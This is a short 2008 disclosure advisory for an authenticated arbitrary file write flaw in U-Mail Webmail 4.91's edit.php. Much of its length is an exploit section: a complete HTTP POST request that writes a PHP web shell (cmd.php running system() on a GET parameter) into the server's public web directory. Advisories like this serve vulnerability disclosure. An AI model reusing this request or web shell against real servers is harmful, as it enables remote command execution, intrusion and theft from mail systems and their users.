U-Mail Webmail Arbitrary File Write Vulnerability ================================================== Vulnerable: U-Mail 4.91 Vendors: www.comingchina.com Category: Input Validation Error Impact: An attacker can write arbitrary data to new files. Author: Shennan Wang Date: 2008-10-30 Web: http://hi.baidu.com/nansec Details: ========= This vulnerability allows remote attackers to write arbitrary file on vulnerable installations of U-Mail Webmail Server. Authentication is required to exploit this vulnerability.The specific flaw exists in the 'edit.php' file running on the U-Mail Webmail Server. A malicious HTTP POST request can write arbitrary file to the publicly accessible web directories. Exploit: ========= POST /webmail/modules/filesystem/edit.php HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */* Referer: http://mail.d4rkn3t.cn/webmail/modules/filesystem/edit.php Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Host: mail.d4rkn3t.cn Content-Length: 120 Connection: Keep-Alive Cache-Control: no-cache Cookie: GO_AUTH_SOURCE_KEY=0; LANGUAGE_CK=zh_CN; SCREEN_CK=Default+Style; PHPSESSID=0fa330ffdfd62d9e1bd8bd3942974a18 path=/var/www/htdocs/webmail/cmd.php&task=save&name=cmd.php&content=<?sy stem($_GET[cmd]);?>